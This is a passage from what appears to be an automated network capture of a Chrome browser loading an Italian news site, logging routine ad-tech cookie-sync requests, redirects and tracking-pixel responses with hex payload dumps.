2024-03-28 08:51:30 UTC	861	OUT	GET /AdServer/UCookieSetPug?gdpr=0&gdpr_consent=&rd=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1384%26env%3DmWeb%26cid%3D%23PM_USER_ID%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	662	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 Location: /AdServer/UCookieSetPug?gdpr=0&gdpr_consent=&rd=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1384%26env%3DmWeb%26cid%3D%23PM_USER_ID%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648&rdf=1 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KTPCACOOKIE=YES; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	50210	35.207.24.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	666	OUT	GET /sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	749	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 28 Mar 2024 08:51:30 GMT Location: https://rtb.mfadsrvr.com/ul_cb/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= Set-Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; path=/; expires=Sat, 28-Mar-2026 08:51:30 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1711615890; path=/; expires=Sat, 28-Mar-2026 08:51:30 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1711615890; path=/; expires=Sat, 28-Mar-2026 08:51:30 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	50203	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	829	OUT	GET /idsync/ex/push?partner_url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BTA_DEVICE_ID%7D%26zpartnerid%3D5%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	1255	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:30 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1711615890295;Expires=Mon, 27 May 2024 08:51:30 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=40662bab-59e7-453d-8534-da10890213df;Expires=Mon, 27 May 2024 08:51:30 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/push/check?partner_url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BTA_DEVICE_ID%7D%26zpartnerid%3D5%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	50199	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	626	OUT	GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	771	IN	HTTP/1.1 302 Found Server: Tengine Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 136 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://onetag-sys.com/match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb Pragma: no-cache Set-Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-03-28 08:51:30 UTC	136	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 74 61 67 2d 73 79 73 2e 63 6f 6d 2f 6d 61 74 63 68 2f 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 69 6e 74 5f 69 64 3d 31 36 38 26 61 6d 70 3b 75 69 64 3d 4f 50 55 33 36 36 38 31 34 34 64 32 34 63 36 34 32 34 31 39 35 36 65 37 36 31 63 65 35 62 33 61 30 65 62 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://onetag-sys.com/match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	50191	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	708	OUT	GET /beacon?informer=13426218 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
2024-03-28 08:51:30 UTC	773	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: text/html Content-Length: 4209 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D; Path=/; Domain=.lijit.com; Expires=Fri, 28-Mar-2025 08:51:30 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; Path=/; Domain=.lijit.com; Expires=Fri, 28-Mar-2025 08:51:30 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Vary: Accept-Encoding, User-Agent
2024-03-28 08:51:30 UTC	4209	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 73 6f 76 72 6e 20 42 65 61 63 6f 6e 20 28 32 31 20 53 65 6e 74 20 2f 20 2d 31 20 4d 61 78 29 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 27 73 6f 76 72 6e 2d 62 65 61 63 6f 6e 2d 70 69 78 65 6c 27 20 73 74 79 6c 65 3d 27 77 69 64 74 68 3a 30 70 78 3b 20 68 65 69 67 68 74 3a 30 70 78 3b 27 20 77 69 64 74 68 3d 27 30 27 20 68 65 69 67 68 74 3d 27 30 27 20 73 72 63 3d 27 68 74 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""https://www.w3.org/TR/html4/strict.dtd"><html><head><title>sovrn Beacon (21 Sent / -1 Max)</title></head><body><img class='sovrn-beacon-pixel' style='width:0px; height:0px;' width='0' height='0' src='htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	50198	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	784	OUT	GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1 Host: cs.admanmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	572	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Length: 0 Connection: close Set-Cookie: admtr=663443d1-35cb-42a1-8bc1-50576d46032b; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Set-Cookie: ac_r=CS253; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: https://onetag-sys.com/match/?int_id=164&gdpr=0&gdpr_consent=&uid=663443d1-35cb-42a1-8bc1-50576d46032b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	50194	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	754	OUT	GET /sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
2024-03-28 08:51:30 UTC	496	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x53 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://onetag-sys.com/match/?int_id=1&uid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&gdpr=0&gdpr_consent= Expires: Thu, 28 Mar 2024 08:51:29 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	50222	35.190.39.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	587	OUT	POST /encrypt HTTP/1.1 Host: esp.rtbhouse.com Connection: keep-alive Content-Length: 174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	174	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 72 5f 69 64 22 3a 22 72 74 62 68 6f 75 73 65 22 2c 22 73 69 67 6e 61 6c 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 62 73 6e 65 77 73 2e 69 74 25 32 46 32 30 31 35 25 32 46 30 31 25 32 46 32 33 25 32 46 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 25 32 46 22 2c 22 74 6f 70 69 63 73 22 3a 22 5b 5d 22 7d 7d Data Ascii: {"publisher_id":"rtbhouse","signal":{"domain":"https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F","topics":"[]"}}
2024-03-28 08:51:30 UTC	452	IN	HTTP/1.1 200 OK access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: POST access-control-allow-headers: X-Requested-With content-type: application/json x-cloud-trace-context: b55ce28958512af53b063513d1f38132 date: Thu, 28 Mar 2024 08:51:30 GMT server: Google Frontend Content-Length: 241 via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:30 UTC	241	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 74 72 75 65 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 61 52 54 4e 66 39 58 54 4f 7a 39 4a 54 44 73 42 52 4d 46 76 64 4e 43 72 6d 58 6f 65 70 55 43 4d 49 54 4b 50 2b 49 5a 5a 35 4a 77 78 48 35 78 62 57 33 74 50 74 4c 46 66 61 6c 6a 32 67 41 77 35 37 54 34 31 57 62 74 51 77 69 56 61 30 44 4c 56 70 75 39 46 6e 30 66 44 35 54 4c 6d 32 62 69 68 6c 53 75 6e 6f 68 74 75 35 44 6e 55 2f 73 7a 4e 44 45 66 44 56 4b 45 4b 6a 6c 69 63 50 73 77 4d 4b 30 58 48 2f 57 4f 4e 6e 4f 74 41 77 62 57 6d 6d 63 46 72 74 42 69 53 71 69 78 47 47 53 49 6d 6d 35 6a 50 68 79 42 73 53 65 42 2b 57 52 6a 79 7a 4e 4d 52 44 4d 78 5a 46 30 66 73 53 31 42 34 22 2c 22 73 65 67 6d 65 6e 74 73 22 3a 22 31 2c 32 2c 33 22 7d Data Ascii: {"status":"true","message":"aRTNf9XTOz9JTDsBRMFvdNCrmXoepUCMITKP+IZZ5JwxH5xbW3tPtLFfalj2gAw57T41WbtQwiVa0DLVpu9Fn0fD5TLm2bihlSunohtu5DnU/szNDEfDVKEKjlicPswMK0XH/WONnOtAwbWmmcFrtBiSqixGGSImm5jPhyBsSeB+WRjyzNMRDMxZF0fsS1B4","segments":"1,2,3"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	50223	52.207.168.130	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	600	OUT	POST /6/map HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive Content-Length: 439 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	439	OUT	Data Raw: 7b 22 72 22 3a 7b 22 72 69 64 22 3a 74 72 75 65 7d 2c 22 6d 22 3a 7b 22 64 63 63 22 3a 31 36 35 38 39 2c 22 73 72 63 22 3a 22 53 59 4e 43 4a 53 22 2c 22 63 68 22 3a 7b 22 62 72 61 6e 64 73 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 43 68 72 6f 6d 69 75 6d 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 5d 2c 22 66 75 6c 6c 56 65 72 73 69 6f 6e 4c 69 73 74 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 7d Data Ascii: {"r":{"rid":true},"m":{"dcc":16589,"src":"SYNCJS","ch":{"brands":[{"brand":"Google Chrome","version":"117"},{"brand":"Not;A=Brand","version":"8"},{"brand":"Chromium","version":"117"}],"fullVersionList":[{"brand":"Google Chrome","version":"117.0.5938.132"}
2024-03-28 08:51:30 UTC	640	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: application/json;charset=utf-8 Content-Length: 156 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.0.87 Set-Cookie: _cc_dc=0;Path=/;Domain=crwdcntrl.net;Expires=Mon, 23-Dec-2024 08:12:00 GMT;SameSite=None;Secure Set-Cookie: _cc_id=578c83848f5e56a85ae351fdaf32db39;Path=/;Domain=crwdcntrl.net;Expires=Mon, 23-Dec-2024 08:12:00 GMT;SameSite=None;Secure Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Server: Jetty(9.4.38.v20210224)
2024-03-28 08:51:30 UTC	156	IN	Data Raw: 7b 22 70 69 64 22 3a 22 35 37 38 63 38 33 38 34 38 66 35 65 35 36 61 38 35 61 65 33 35 31 66 64 61 66 33 32 64 62 33 39 22 2c 22 63 22 3a 5b 7b 22 6b 22 3a 22 5f 63 63 5f 69 64 22 2c 22 76 22 3a 22 35 37 38 63 38 33 38 34 38 66 35 65 35 36 61 38 35 61 65 33 35 31 66 64 61 66 33 32 64 62 33 39 22 2c 22 65 22 3a 32 33 33 32 38 30 30 30 7d 5d 2c 22 69 64 73 22 3a 5b 7b 22 63 22 3a 22 63 6f 72 65 22 2c 22 65 22 3a 22 31 37 31 31 37 30 32 32 39 30 36 39 38 22 7d 5d 7d Data Ascii: {"pid":"578c83848f5e56a85ae351fdaf32db39","c":[{"k":"_cc_id","v":"578c83848f5e56a85ae351fdaf32db39","e":23328000}],"ids":[{"c":"core","e":"1711702290698"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	50121	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	788	OUT	GET /usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent= HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:30 UTC	466	IN	HTTP/1.1 200 OK p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=5MmB1d1W_Cw4sWywfdxwmzjoZuu22D1cD9khs1AZ_cc; path=/; expires=Mon, 28 Apr 2025 01:09:48; domain=onetag-sys.com; SameSite=None; Secure content-type: text/html cache-control: no-transform, no-cache content-length: 4806 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-03-28 08:51:30 UTC	4806	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 6e 63 20 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 76 61 72 20 73 79 6e 63 50 69 78 65 6c 73 20 3d 20 22 68 74 74 70 73 3a 2f 2f 72 74 62 2e 6d 66 61 64 73 72 76 72 2e 63 6f 6d 2f 73 79 6e 63 3f 73 73 70 3d 6f 6e 65 74 61 67 26 73 73 70 5f 75 73 65 72 5f 69 64 3d 32 37 4e 55 73 4b 30 46 54 4b 43 78 4d 5f 68 4a 45 69 5a 62 33 53 62 72 6b 6e 57 44 7a 47 48 76 74 5a 65 7a 6d 74 6c 47 62 79 49 26 67 64 70 72 3d 24 7b 47 44 50 52 7d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Sync Pixels</title></head><body><script> var syncPixels = "https://rtb.mfadsrvr.com/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=${GDPR}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	50190	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	669	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=63678158&p=156136&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
